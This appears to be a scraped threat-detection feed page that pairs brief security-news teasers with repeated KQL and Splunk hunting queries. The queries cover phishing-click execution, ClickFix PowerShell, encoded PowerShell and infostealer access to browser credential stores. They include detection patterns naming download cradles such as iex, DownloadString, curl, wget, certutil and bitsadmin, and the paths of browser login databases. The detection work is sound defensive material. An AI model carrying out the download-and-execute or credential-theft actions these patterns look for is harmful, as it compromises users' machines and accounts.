AND NOT Filesystem.process_name IN ("chrome.exe","msedge.exe","firefox.exe","brave.exe","opera.exe")
by Filesystem.dest, Filesystem.process_name, Filesystem.file_path, Filesystem.user
| `drop_dm_object_name(Filesystem)`
Match vulnerability scanner output to the CVE(s) named in the article.
ATT&CKT1190
Data sourcesVulnerabilitiesDeviceInfoDeviceTvmSoftwareVulnerabilities
DeviceTvmSoftwareVulnerabilities
| where CveId in~ ("CVE-2025-55182")
| join kind=inner DeviceInfo on DeviceId
| project DeviceName, OSPlatform, CveId, VulnerabilitySeverityLevel, RecommendedSecurityUpdate
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Vulnerabilities
where Vulnerabilities.signature IN ("CVE-2025-55182")
by Vulnerabilities.dest, Vulnerabilities.signature, Vulnerabilities.severity, Vulnerabilities.cve
| `drop_dm_object_name(Vulnerabilities)`
| sort - severity
Phishing-link click correlated to endpoint executionDeliveryHigh
User received an external email containing a URL, clicked it, and within
60 seconds the recipient's endpoint spawned a scripting interpreter or
network downloader (PowerShell / cmd / mshta / curl / certutil / bitsadmin).
This is the high-fidelity shape — a raw "user clicked an emailed URL"
query is too noisy to alert on because every Microsoft 365 tenant
generates thousands of legitimate clicks per day. The exec-correlation
step suppresses the noise to roughly the rate at which a click actually
drives onto-host execution, which is the actionable signal.
Pair with UC_PHISH_LINK_BYPASS (Safe Links override) and UC_PHISH_LINK_NEWDOMAIN
for orthogonal high-fidelity variants.
ATT&CKT1566.002T1204.001T1059.001
Data sourcesEmail.All_EmailWebEndpoint.ProcessesEmailEventsEmailUrlInfoUrlClickEventsDeviceProcessEvents
// Phishing-link click that drives endpoint execution within 60s.
// Far higher fidelity than "every clicked URL" — most legitimate clicks
// never spawn a non-browser child process, so the join eliminates the
// 99% of noise that makes a raw click query unactionable.
let LookbackDays = 7d;
let SuspectClicks = UrlClickEvents
| where Timestamp > ago(LookbackDays)
| where ActionType in ("ClickAllowed","ClickedThrough")
| join kind=inner (
EmailEvents
| where Timestamp > ago(LookbackDays)
| where DeliveryAction == "Delivered"
| where EmailDirection == "Inbound"
| project NetworkMessageId, Subject, SenderFromAddress, SenderFromDomain,
RecipientEmailAddress, EmailTimestamp = Timestamp
) on NetworkMessageId
| join kind=leftouter (
EmailUrlInfo | project NetworkMessageId, Url, UrlDomain
) on NetworkMessageId, Url
| project ClickTime = Timestamp, AccountUpn, IPAddress, Url, UrlDomain,
Subject, SenderFromAddress, SenderFromDomain, RecipientEmailAddress,
ActionType;
// Correlate to a non-browser child process spawned within 60 seconds on
// the recipient's device.
DeviceProcessEvents
| where Timestamp > ago(LookbackDays)
| where InitiatingProcessFileName in~ ("chrome.exe","msedge.exe","firefox.exe",
"outlook.exe","brave.exe","arc.exe")
| where FileName in~ ("powershell.exe","pwsh.exe","cmd.exe","mshta.exe",
"rundll32.exe","regsvr32.exe","wscript.exe","cscript.exe",
"bitsadmin.exe","certutil.exe","curl.exe","wget.exe")
| join kind=inner SuspectClicks on $left.AccountName == $right.AccountUpn
| where Timestamp between (ClickTime .. ClickTime + 60s)
| project ClickTime, ProcessTime = Timestamp,
DelaySec = datetime_diff('second', Timestamp, ClickTime),
DeviceName, AccountName, RecipientEmailAddress, SenderFromAddress,
Subject, Url, UrlDomain, ActionType,
FileName, ProcessCommandLine, InitiatingProcessFileName
| order by ClickTime desc
``` Phishing-link click that drives endpoint execution within 60s ```
| tstats `summariesonly` earliest(_time) AS click_time
from datamodel=Web
where Web.action="allowed"
by Web.src, Web.user, Web.dest, Web.url
| `drop_dm_object_name(Web)`
| rename user AS recipient, dest AS clicked_domain, url AS clicked_url
| join type=inner recipient
[| tstats `summariesonly` count
from datamodel=Email.All_Email
where All_Email.action="delivered" AND All_Email.url!="-"
by All_Email.recipient, All_Email.src_user, All_Email.url, All_Email.subject
| `drop_dm_object_name(All_Email)`
| rex field=url "https?://(?<email_domain>[^/]+)"
| rename recipient AS recipient]
| join type=inner src
[| tstats `summariesonly` earliest(_time) AS exec_time
values(Processes.process) AS exec_cmd, values(Processes.process_name) AS exec_proc
from datamodel=Endpoint.Processes
where Processes.parent_process_name IN ("chrome.exe","msedge.exe","firefox.exe",
"outlook.exe","brave.exe","arc.exe")
AND Processes.process_name IN ("powershell.exe","pwsh.exe","cmd.exe","mshta.exe",
"rundll32.exe","regsvr32.exe","wscript.exe",
"cscript.exe","bitsadmin.exe","certutil.exe",
"curl.exe","wget.exe")
by Processes.dest, Processes.user
| `drop_dm_object_name(Processes)`
| rename dest AS src]
| eval delta_sec = exec_time - click_time
| where delta_sec >= 0 AND delta_sec <= 60
| table click_time, exec_time, delta_sec, recipient, src, src_user, subject,
clicked_domain, clicked_url, exec_proc, exec_cmd
| sort - click_time
Browser-pasted PowerShell launched from explorer/Run dialog — ClickFix social engineering.
ATT&CKT1204.004T1059.001
Data sourcesEndpoint.ProcessesDeviceProcessEvents
DeviceProcessEvents
| where Timestamp > ago(7d)
| where InitiatingProcessFileName in~ ("explorer.exe","RuntimeBroker.exe")
| where FileName in~ ("powershell.exe","pwsh.exe","mshta.exe")
| where ProcessCommandLine matches regex @"(?i)(iex|invoke-expression|frombase64|downloadstring|hxxp|curl |wget )"
| project Timestamp, DeviceName, AccountName, ProcessCommandLine, InitiatingProcessCommandLine
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Endpoint.Processes
where Processes.parent_process_name IN ("explorer.exe","RuntimeBroker.exe")
AND Processes.process_name IN ("powershell.exe","pwsh.exe","mshta.exe")
AND (Processes.process="*iex*" OR Processes.process="*Invoke-Expression*"
OR Processes.process="*FromBase64*" OR Processes.process="*DownloadString*"
OR Processes.process="*hxxp*" OR Processes.process="*curl*" OR Processes.process="*wget*")
by Processes.dest, Processes.user, Processes.process, Processes.parent_process_name
| `drop_dm_object_name(Processes)`
Encoded or obfuscated PowerShell — common across loaders, recon, and post-exploitation.
ATT&CKT1059.001T1027
Data sourcesEndpoint.ProcessesDeviceProcessEvents
DeviceProcessEvents
| where Timestamp > ago(7d)
| where FileName in~ ("powershell.exe","pwsh.exe")
| where ProcessCommandLine matches regex @"(?i)(-enc|encodedcommand|frombase64string|-nop|-w\s+hidden|invoke-expression|iex\s*\(|downloadstring|net\.webclient)"
| project Timestamp, DeviceName, AccountName, ProcessCommandLine,
InitiatingProcessFileName, InitiatingProcessCommandLine
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Endpoint.Processes
where Processes.process_name IN ("powershell.exe","pwsh.exe")
AND (Processes.process="*-enc *" OR Processes.process="*EncodedCommand*"
OR Processes.process="*FromBase64String*" OR Processes.process="*-nop*"
OR Processes.process="*-w hidden*" OR Processes.process="*Invoke-Expression*"
OR Processes.process="*IEX(*" OR Processes.process="*DownloadString*"
OR Processes.process="*Net.WebClient*")
by Processes.dest, Processes.user, Processes.process_name, Processes.process, Processes.parent_process_name
| `drop_dm_object_name(Processes)`
Supply-chain trojan signal: legitimate signed binary spawning script interpreters or exotic LOLBins.
ATT&CKT1195.002
Data sourcesEndpoint.ProcessesDeviceProcessEvents
DeviceProcessEvents
| where Timestamp > ago(7d)
| where InitiatingProcessFileName in~ ("setup.exe","installer.exe","update.exe")
| where FileName in~ ("powershell.exe","cmd.exe","rundll32.exe","regsvr32.exe","mshta.exe","wscript.exe","cscript.exe","wmic.exe","bitsadmin.exe")
| project Timestamp, DeviceName, AccountName, InitiatingProcessFileName, FileName, ProcessCommandLine
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Endpoint.Processes
where Processes.parent_process_name IN ("setup.exe","installer.exe","update.exe")
AND Processes.process_name IN ("powershell.exe","cmd.exe","rundll32.exe","regsvr32.exe","mshta.exe","wscript.exe","cscript.exe","wmic.exe","bitsadmin.exe")
by Processes.dest, Processes.user, Processes.parent_process_name, Processes.process_name, Processes.process
| `drop_dm_object_name(Processes)`
Match SHA256/SHA1/MD5 named in the article against EDR file/process telemetry.
ATT&CKT1027
Data sourcesEndpoint.FilesystemEndpoint.ProcessesDeviceFileEventsDeviceProcessEvents
union DeviceFileEvents, DeviceProcessEvents
| where Timestamp > ago(7d)
| where SHA256 in~ ("f35475829991b303c5efc2ee0f343dd38f8614e8b5e69db683923135f85cf60d", "18f784b3bc9a0bcdcb1a8d7f51bc5f54323fc40cbd874119354ab609bef6e4cb", "167ce57ef59a32a6a0ef4137785828077879092d7f83ddbc1755d6e69116e0ad", "bc544f455d7c06c8a1f3446160a6d9a4a8236b11") or SHA1 in~ ("f35475829991b303c5efc2ee0f343dd38f8614e8b5e69db683923135f85cf60d", "18f784b3bc9a0bcdcb1a8d7f51bc5f54323fc40cbd874119354ab609bef6e4cb", "167ce57ef59a32a6a0ef4137785828077879092d7f83ddbc1755d6e69116e0ad", "bc544f455d7c06c8a1f3446160a6d9a4a8236b11") or MD5 in~ ("f35475829991b303c5efc2ee0f343dd38f8614e8b5e69db683923135f85cf60d", "18f784b3bc9a0bcdcb1a8d7f51bc5f54323fc40cbd874119354ab609bef6e4cb", "167ce57ef59a32a6a0ef4137785828077879092d7f83ddbc1755d6e69116e0ad", "bc544f455d7c06c8a1f3446160a6d9a4a8236b11")
| project Timestamp, DeviceName, ActionType, FileName, FolderPath, SHA256, ProcessCommandLine
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Endpoint.Filesystem
where Filesystem.file_hash IN ("f35475829991b303c5efc2ee0f343dd38f8614e8b5e69db683923135f85cf60d", "18f784b3bc9a0bcdcb1a8d7f51bc5f54323fc40cbd874119354ab609bef6e4cb", "167ce57ef59a32a6a0ef4137785828077879092d7f83ddbc1755d6e69116e0ad", "bc544f455d7c06c8a1f3446160a6d9a4a8236b11")
by Filesystem.dest, Filesystem.user, Filesystem.file_path, Filesystem.file_name, Filesystem.file_hash
| `drop_dm_object_name(Filesystem)`
| append
[| tstats `summariesonly` count from datamodel=Endpoint.Processes
where Processes.process_hash IN ("f35475829991b303c5efc2ee0f343dd38f8614e8b5e69db683923135f85cf60d", "18f784b3bc9a0bcdcb1a8d7f51bc5f54323fc40cbd874119354ab609bef6e4cb", "167ce57ef59a32a6a0ef4137785828077879092d7f83ddbc1755d6e69116e0ad", "bc544f455d7c06c8a1f3446160a6d9a4a8236b11")
by Processes.dest, Processes.user, Processes.process_name, Processes.process_hash
| `drop_dm_object_name(Processes)`]
Article-specific behavioural hunt — The npm Threat Landscape: Attack Surface and MitigationsExploitationHigh
Auto-generated hunt targeting the specific binaries, paths, registry locations and command-line fragments named in this article. Hunting tier — needs analyst review and environment tuning before promotion to alerting.
ATT&CKT1204.002
Data sourcesEndpoint.ProcessesEndpoint.FilesystemEndpoint.Registry
// Article-specific bespoke detection — The npm Threat Landscape: Attack Surface and Mitigations
// Hunts the actual binaries / paths / commandline fragments named
// in the article instead of a generic technique-class template.
DeviceProcessEvents
| where Timestamp > ago(30d)
| where (FileName in~ ("mcpaddon.js", "bw_setup.js", "node.js", "bw1.js"))
| project Timestamp, DeviceName, AccountName, FileName,
FolderPath, ProcessCommandLine,
InitiatingProcessFileName, InitiatingProcessCommandLine
| order by Timestamp desc
// File-creation events for the named binaries / paths
DeviceFileEvents
| where Timestamp > ago(30d)
| where ActionType in ("FileCreated","FileModified")
| where (FolderPath has_any ("/usr/bin/env") or FileName in~ ("mcpaddon.js", "bw_setup.js", "node.js", "bw1.js"))
| project Timestamp, DeviceName, AccountName, FolderPath,
FileName, ActionType, InitiatingProcessFileName,
InitiatingProcessCommandLine
| order by Timestamp desc
``` Article-specific bespoke detection — The npm Threat Landscape: Attack Surface and Mitigations ```
| tstats `summariesonly` count earliest(_time) AS firstTime latest(_time) AS lastTime
from datamodel=Endpoint.Processes
where (Processes.process_name IN ("mcpaddon.js","bw_setup.js","node.js","bw1.js"))
by Processes.dest, Processes.user, Processes.process_name,
Processes.process, Processes.parent_process_name, Processes.process_path
| `drop_dm_object_name(Processes)`
| `security_content_ctime(firstTime)`
| append [
| tstats `summariesonly` count
from datamodel=Endpoint.Filesystem
where Filesystem.action IN ("created","modified")
AND (Filesystem.file_path="*/usr/bin/env*" OR Filesystem.file_name IN ("mcpaddon.js","bw_setup.js","node.js","bw1.js"))
by Filesystem.dest, Filesystem.user, Filesystem.process_name,
Filesystem.file_path, Filesystem.file_name
| `drop_dm_object_name(Filesystem)`
]
2026-04-240 use cases1 technique3 kill-chain phases detected
Unit 42 research reports that TGR-STA-1030 remains an active threat, particularly in Central and South America. The post TGR-STA-1030: New Activity in Central and South America appeared first on Unit 42 .
ATT&CKT1190
Click any ATT&CK pill below to open it on the Matrix
Phase 1
Reconnaissance
—
Phase 2
Weaponization
Detected
Phase 3
Delivery
—
Phase 4
Exploitation
Detected
Phase 5
Installation
Likely
Phase 6
Command & Control
Likely
Phase 7
Actions on Objectives
Detected
Reconnaissance. Attacker researches the target — OSINT, scanning, enumeration.
2026-04-244 use cases3 techniques6 kill-chain phases detected
The U.S. Cybersecurity and Infrastructure Security Agency (CISA) has revealed that an unnamed federal civilian agency's Cisco Firepower device running Adaptive Security Appliance (ASA) software was compromised in September 2025 with a new malware called FIRESTARTER. FIRESTARTER, per CISA and the U.K.'s National Cyber Security Centre (NCSC), is assessed to be a backdoor designed for remote access
Side-loaded / unsigned extensions, often masquerading as wallets, productivity tools.
ATT&CKT1176
Data sourcesEndpoint.RegistryDeviceRegistryEvents
DeviceRegistryEvents
| where Timestamp > ago(7d)
| where RegistryKey has_any ("\Software\Google\Chrome\Extensions\","\Software\Microsoft\Edge\Extensions\","\Software\Mozilla\Firefox\Extensions\")
| project Timestamp, DeviceName, RegistryKey, RegistryValueName, RegistryValueData,
InitiatingProcessFileName, InitiatingProcessAccountName
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Endpoint.Registry
where (Registry.registry_path="*\Software\Google\Chrome\Extensions\*"
OR Registry.registry_path="*\Software\Microsoft\Edge\Extensions\*"
OR Registry.registry_path="*\Software\Mozilla\Firefox\Extensions\*")
by Registry.dest, Registry.registry_path, Registry.registry_value_data, Registry.registry_value_name, Registry.user
| `drop_dm_object_name(Registry)`
Infostealer — non-browser process accessing browser cookie/login DBsActions on ObjectivesHigh
Stealers (RedLine, Lumma, Vidar, Atomic) read Login Data / cookies SQLite from Chrome/Edge/Firefox.
ATT&CKT1539T1555.003
Data sourcesEndpoint.FilesystemDeviceFileEvents
DeviceFileEvents
| where Timestamp > ago(7d)
| where FolderPath has_any ("\Google\Chrome\User Data\","\Microsoft\Edge\User Data\","\Mozilla\Firefox\Profiles\")
| where FileName in~ ("Login Data","Cookies","logins.json","cookies.sqlite")
| where InitiatingProcessFileName !in~ ("chrome.exe","msedge.exe","firefox.exe","brave.exe","opera.exe")
| project Timestamp, DeviceName, AccountName, InitiatingProcessFileName, FolderPath, FileName, ActionType
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Endpoint.Filesystem
where (Filesystem.file_path="*\Google\Chrome\User Data\*\Login Data*"
OR Filesystem.file_path="*\Google\Chrome\User Data\*\Cookies*"
OR Filesystem.file_path="*\Microsoft\Edge\User Data\*\Login Data*"
OR Filesystem.file_path="*\Mozilla\Firefox\Profiles\*\logins.json*"
OR Filesystem.file_path="*\Mozilla\Firefox\Profiles\*\cookies.sqlite*")
AND NOT Filesystem.process_name IN ("chrome.exe","msedge.exe","firefox.exe","brave.exe","opera.exe")
by Filesystem.dest, Filesystem.process_name, Filesystem.file_path, Filesystem.user
| `drop_dm_object_name(Filesystem)`
Supply-chain trojan signal: legitimate signed binary spawning script interpreters or exotic LOLBins.
ATT&CKT1195.002
Data sourcesEndpoint.ProcessesDeviceProcessEvents
DeviceProcessEvents
| where Timestamp > ago(7d)
| where InitiatingProcessFileName in~ ("setup.exe","installer.exe","update.exe")
| where FileName in~ ("powershell.exe","cmd.exe","rundll32.exe","regsvr32.exe","mshta.exe","wscript.exe","cscript.exe","wmic.exe","bitsadmin.exe")
| project Timestamp, DeviceName, AccountName, InitiatingProcessFileName, FileName, ProcessCommandLine
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Endpoint.Processes
where Processes.parent_process_name IN ("setup.exe","installer.exe","update.exe")
AND Processes.process_name IN ("powershell.exe","cmd.exe","rundll32.exe","regsvr32.exe","mshta.exe","wscript.exe","cscript.exe","wmic.exe","bitsadmin.exe")
by Processes.dest, Processes.user, Processes.parent_process_name, Processes.process_name, Processes.process
| `drop_dm_object_name(Processes)`
2026-04-248 use cases4 techniques6 kill-chain phases detected
The Office of Inspector General (OIG) of the U.S. National Aeronautics and Space Administration (NASA) has revealed how a Chinese national posed as a U.S. researcher as part of a spear-phishing campaign to obtain sensitive information from the space agency, as well as from government entities, universities, and private companies, in violation of export control laws. "For years, NASA employees
CVEsCVE-2026-33626CVE-2026-32202CVE-2026-3854
ATT&CKT1176T1190T1195.002T1566
Click any ATT&CK pill below to open it on the Matrix
Side-loaded / unsigned extensions, often masquerading as wallets, productivity tools.
ATT&CKT1176
Data sourcesEndpoint.RegistryDeviceRegistryEvents
DeviceRegistryEvents
| where Timestamp > ago(7d)
| where RegistryKey has_any ("\Software\Google\Chrome\Extensions\","\Software\Microsoft\Edge\Extensions\","\Software\Mozilla\Firefox\Extensions\")
| project Timestamp, DeviceName, RegistryKey, RegistryValueName, RegistryValueData,
InitiatingProcessFileName, InitiatingProcessAccountName
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Endpoint.Registry
where (Registry.registry_path="*\Software\Google\Chrome\Extensions\*"
OR Registry.registry_path="*\Software\Microsoft\Edge\Extensions\*"
OR Registry.registry_path="*\Software\Mozilla\Firefox\Extensions\*")
by Registry.dest, Registry.registry_path, Registry.registry_value_data, Registry.registry_value_name, Registry.user
| `drop_dm_object_name(Registry)`
Infostealer — non-browser process accessing browser cookie/login DBsActions on ObjectivesHigh
Stealers (RedLine, Lumma, Vidar, Atomic) read Login Data / cookies SQLite from Chrome/Edge/Firefox.
ATT&CKT1539T1555.003
Data sourcesEndpoint.FilesystemDeviceFileEvents
DeviceFileEvents
| where Timestamp > ago(7d)
| where FolderPath has_any ("\Google\Chrome\User Data\","\Microsoft\Edge\User Data\","\Mozilla\Firefox\Profiles\")
| where FileName in~ ("Login Data","Cookies","logins.json","cookies.sqlite")
| where InitiatingProcessFileName !in~ ("chrome.exe","msedge.exe","firefox.exe","brave.exe","opera.exe")
| project Timestamp, DeviceName, AccountName, InitiatingProcessFileName, FolderPath, FileName, ActionType
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Endpoint.Filesystem
where (Filesystem.file_path="*\Google\Chrome\User Data\*\Login Data*"
OR Filesystem.file_path="*\Google\Chrome\User Data\*\Cookies*"
OR Filesystem.file_path="*\Microsoft\Edge\User Data\*\Login Data*"
OR Filesystem.file_path="*\Mozilla\Firefox\Profiles\*\logins.json*"
OR Filesystem.file_path="*\Mozilla\Firefox\Profiles\*\cookies.sqlite*")
AND NOT Filesystem.process_name IN ("chrome.exe","msedge.exe","firefox.exe","brave.exe","opera.exe")
by Filesystem.dest, Filesystem.process_name, Filesystem.file_path, Filesystem.user
| `drop_dm_object_name(Filesystem)`
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Vulnerabilities
where Vulnerabilities.signature IN ("CVE-2026-33626", "CVE-2026-32202", "CVE-2026-3854")
by Vulnerabilities.dest, Vulnerabilities.signature, Vulnerabilities.severity, Vulnerabilities.cve
| `drop_dm_object_name(Vulnerabilities)`
| sort - severity
Phishing-link click correlated to endpoint executionDeliveryHigh
User received an external email containing a URL, clicked it, and within
60 seconds the recipient's endpoint spawned a scripting interpreter or
network downloader (PowerShell / cmd / mshta / curl / certutil / bitsadmin).
This is the high-fidelity shape — a raw "user clicked an emailed URL"
query is too noisy to alert on because every Microsoft 365 tenant
generates thousands of legitimate clicks per day. The exec-correlation
step suppresses the noise to roughly the rate at which a click actually
drives onto-host execution, which is the actionable signal.
Pair with UC_PHISH_LINK_BYPASS (Safe Links override) and UC_PHISH_LINK_NEWDOMAIN
for orthogonal high-fidelity variants.
ATT&CKT1566.002T1204.001T1059.001
Data sourcesEmail.All_EmailWebEndpoint.ProcessesEmailEventsEmailUrlInfoUrlClickEventsDeviceProcessEvents
// Phishing-link click that drives endpoint execution within 60s.
// Far higher fidelity than "every clicked URL" — most legitimate clicks
// never spawn a non-browser child process, so the join eliminates the
// 99% of noise that makes a raw click query unactionable.
let LookbackDays = 7d;
let SuspectClicks = UrlClickEvents
| where Timestamp > ago(LookbackDays)
| where ActionType in ("ClickAllowed","ClickedThrough")
| join kind=inner (
EmailEvents
| where Timestamp > ago(LookbackDays)
| where DeliveryAction == "Delivered"
| where EmailDirection == "Inbound"
| project NetworkMessageId, Subject, SenderFromAddress, SenderFromDomain,
RecipientEmailAddress, EmailTimestamp = Timestamp
) on NetworkMessageId
| join kind=leftouter (
EmailUrlInfo | project NetworkMessageId, Url, UrlDomain
) on NetworkMessageId, Url
| project ClickTime = Timestamp, AccountUpn, IPAddress, Url, UrlDomain,
Subject, SenderFromAddress, SenderFromDomain, RecipientEmailAddress,
ActionType;
// Correlate to a non-browser child process spawned within 60 seconds on
// the recipient's device.
DeviceProcessEvents
| where Timestamp > ago(LookbackDays)
| where InitiatingProcessFileName in~ ("chrome.exe","msedge.exe","firefox.exe",
"outlook.exe","brave.exe","arc.exe")
| where FileName in~ ("powershell.exe","pwsh.exe","cmd.exe","mshta.exe",
"rundll32.exe","regsvr32.exe","wscript.exe","cscript.exe",
"bitsadmin.exe","certutil.exe","curl.exe","wget.exe")
| join kind=inner SuspectClicks on $left.AccountName == $right.AccountUpn
| where Timestamp between (ClickTime .. ClickTime + 60s)
| project ClickTime, ProcessTime = Timestamp,
DelaySec = datetime_diff('second', Timestamp, ClickTime),
DeviceName, AccountName, RecipientEmailAddress, SenderFromAddress,
Subject, Url, UrlDomain, ActionType,
FileName, ProcessCommandLine, InitiatingProcessFileName
| order by ClickTime desc
``` Phishing-link click that drives endpoint execution within 60s ```
| tstats `summariesonly` earliest(_time) AS click_time
from datamodel=Web
where Web.action="allowed"
by Web.src, Web.user, Web.dest, Web.url
| `drop_dm_object_name(Web)`
| rename user AS recipient, dest AS clicked_domain, url AS clicked_url
| join type=inner recipient
[| tstats `summariesonly` count
from datamodel=Email.All_Email
where All_Email.action="delivered" AND All_Email.url!="-"
by All_Email.recipient, All_Email.src_user, All_Email.url, All_Email.subject
| `drop_dm_object_name(All_Email)`
| rex field=url "https?://(?<email_domain>[^/]+)"
| rename recipient AS recipient]
| join type=inner src
[| tstats `summariesonly` earliest(_time) AS exec_time
values(Processes.process) AS exec_cmd, values(Processes.process_name) AS exec_proc
from datamodel=Endpoint.Processes
where Processes.parent_process_name IN ("chrome.exe","msedge.exe","firefox.exe",
"outlook.exe","brave.exe","arc.exe")
AND Processes.process_name IN ("powershell.exe","pwsh.exe","cmd.exe","mshta.exe",
"rundll32.exe","regsvr32.exe","wscript.exe",
"cscript.exe","bitsadmin.exe","certutil.exe",
"curl.exe","wget.exe")
by Processes.dest, Processes.user
| `drop_dm_object_name(Processes)`
| rename dest AS src]
| eval delta_sec = exec_time - click_time
| where delta_sec >= 0 AND delta_sec <= 60
| table click_time, exec_time, delta_sec, recipient, src, src_user, subject,
clicked_domain, clicked_url, exec_proc, exec_cmd
| sort - click_time
Email attachment opened from external senderDeliveryHigh
Attachment delivery + execution by recipient — most common malware initial access.
ATT&CKT1566.001T1204.002
Data sourcesEmail.All_EmailEndpoint.ProcessesEmailAttachmentInfoDeviceProcessEvents
let LookbackDays = 7d;
let MalAttachments = EmailAttachmentInfo
| where Timestamp > ago(LookbackDays)
| project NetworkMessageId, RecipientEmailAddress,
AttachmentFileName = FileName, AttachmentSHA256 = SHA256;
DeviceProcessEvents
| where Timestamp > ago(LookbackDays)
| where InitiatingProcessFileName in~ ("OUTLOOK.EXE","winword.exe","excel.exe","powerpnt.exe")
| where FileName in~ ("cmd.exe","powershell.exe","wscript.exe","cscript.exe",
"mshta.exe","rundll32.exe","regsvr32.exe")
| join kind=inner MalAttachments on $left.AccountUpn == $right.RecipientEmailAddress
| project Timestamp, DeviceName, AccountName, FileName, ProcessCommandLine,
InitiatingProcessFileName, AttachmentFileName, AttachmentSHA256
| tstats `summariesonly` count
from datamodel=Email.All_Email
where All_Email.file_name!="-"
by All_Email.src_user, All_Email.recipient, All_Email.file_name, All_Email.subject
| rename All_Email.recipient as user
| join type=inner user
[| tstats `summariesonly` count
from datamodel=Endpoint.Processes
where Processes.parent_process_name IN ("OUTLOOK.EXE","winword.exe","excel.exe","powerpnt.exe")
AND Processes.process_name IN ("cmd.exe","powershell.exe","wscript.exe","cscript.exe","mshta.exe","rundll32.exe","regsvr32.exe")
by Processes.dest, Processes.user, Processes.parent_process_name, Processes.process_name, Processes.process
| rename Processes.user as user]
DeviceProcessEvents
| where Timestamp > ago(7d)
| where InitiatingProcessFileName in~ ("winword.exe","excel.exe","powerpnt.exe","outlook.exe","onenote.exe","mspub.exe","visio.exe")
| where FileName in~ ("cmd.exe","powershell.exe","pwsh.exe","wscript.exe","cscript.exe","mshta.exe","rundll32.exe","regsvr32.exe","wmic.exe","bitsadmin.exe","certutil.exe")
| project Timestamp, DeviceName, AccountName, InitiatingProcessFileName, FileName, ProcessCommandLine
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Endpoint.Processes
where Processes.parent_process_name IN ("winword.exe","excel.exe","powerpnt.exe","outlook.exe","onenote.exe","mspub.exe","visio.exe")
AND Processes.process_name IN ("cmd.exe","powershell.exe","pwsh.exe","wscript.exe","cscript.exe","mshta.exe","rundll32.exe","regsvr32.exe","wmic.exe","bitsadmin.exe","certutil.exe")
by Processes.dest, Processes.user, Processes.parent_process_name, Processes.process_name, Processes.process
| `drop_dm_object_name(Processes)`
| `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)`
Browser-pasted PowerShell launched from explorer/Run dialog — ClickFix social engineering.
ATT&CKT1204.004T1059.001
Data sourcesEndpoint.ProcessesDeviceProcessEvents
DeviceProcessEvents
| where Timestamp > ago(7d)
| where InitiatingProcessFileName in~ ("explorer.exe","RuntimeBroker.exe")
| where FileName in~ ("powershell.exe","pwsh.exe","mshta.exe")
| where ProcessCommandLine matches regex @"(?i)(iex|invoke-expression|frombase64|downloadstring|hxxp|curl |wget )"
| project Timestamp, DeviceName, AccountName, ProcessCommandLine, InitiatingProcessCommandLine
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Endpoint.Processes
where Processes.parent_process_name IN ("explorer.exe","RuntimeBroker.exe")
AND Processes.process_name IN ("powershell.exe","pwsh.exe","mshta.exe")
AND (Processes.process="*iex*" OR Processes.process="*Invoke-Expression*"
OR Processes.process="*FromBase64*" OR Processes.process="*DownloadString*"
OR Processes.process="*hxxp*" OR Processes.process="*curl*" OR Processes.process="*wget*")
by Processes.dest, Processes.user, Processes.process, Processes.parent_process_name
| `drop_dm_object_name(Processes)`
Supply-chain trojan signal: legitimate signed binary spawning script interpreters or exotic LOLBins.
ATT&CKT1195.002
Data sourcesEndpoint.ProcessesDeviceProcessEvents
DeviceProcessEvents
| where Timestamp > ago(7d)
| where InitiatingProcessFileName in~ ("setup.exe","installer.exe","update.exe")
| where FileName in~ ("powershell.exe","cmd.exe","rundll32.exe","regsvr32.exe","mshta.exe","wscript.exe","cscript.exe","wmic.exe","bitsadmin.exe")
| project Timestamp, DeviceName, AccountName, InitiatingProcessFileName, FileName, ProcessCommandLine
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Endpoint.Processes
where Processes.parent_process_name IN ("setup.exe","installer.exe","update.exe")
AND Processes.process_name IN ("powershell.exe","cmd.exe","rundll32.exe","regsvr32.exe","mshta.exe","wscript.exe","cscript.exe","wmic.exe","bitsadmin.exe")
by Processes.dest, Processes.user, Processes.parent_process_name, Processes.process_name, Processes.process
| `drop_dm_object_name(Processes)`
2026-04-244 use cases3 techniques6 kill-chain phases detected
The AI Agent Authority Gap - From Ungoverned to Delegation As discussed in our previous article, AI agents are exposing a structural gap in enterprise security, but the problem is often framed too narrowly. The issue is not simply that agents are new actors. It is that agents are delegated actors. They do not emerge with independent authority. They are triggered, invoked, provisioned, or
CVEsCVE-2026-33626CVE-2026-32202CVE-2026-3854
ATT&CKT1176T1190T1195.002
Click any ATT&CK pill below to open it on the Matrix
Side-loaded / unsigned extensions, often masquerading as wallets, productivity tools.
ATT&CKT1176
Data sourcesEndpoint.RegistryDeviceRegistryEvents
DeviceRegistryEvents
| where Timestamp > ago(7d)
| where RegistryKey has_any ("\Software\Google\Chrome\Extensions\","\Software\Microsoft\Edge\Extensions\","\Software\Mozilla\Firefox\Extensions\")
| project Timestamp, DeviceName, RegistryKey, RegistryValueName, RegistryValueData,
InitiatingProcessFileName, InitiatingProcessAccountName
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Endpoint.Registry
where (Registry.registry_path="*\Software\Google\Chrome\Extensions\*"
OR Registry.registry_path="*\Software\Microsoft\Edge\Extensions\*"
OR Registry.registry_path="*\Software\Mozilla\Firefox\Extensions\*")
by Registry.dest, Registry.registry_path, Registry.registry_value_data, Registry.registry_value_name, Registry.user
| `drop_dm_object_name(Registry)`
Infostealer — non-browser process accessing browser cookie/login DBsActions on ObjectivesHigh
Stealers (RedLine, Lumma, Vidar, Atomic) read Login Data / cookies SQLite from Chrome/Edge/Firefox.
ATT&CKT1539T1555.003
Data sourcesEndpoint.FilesystemDeviceFileEvents
DeviceFileEvents
| where Timestamp > ago(7d)
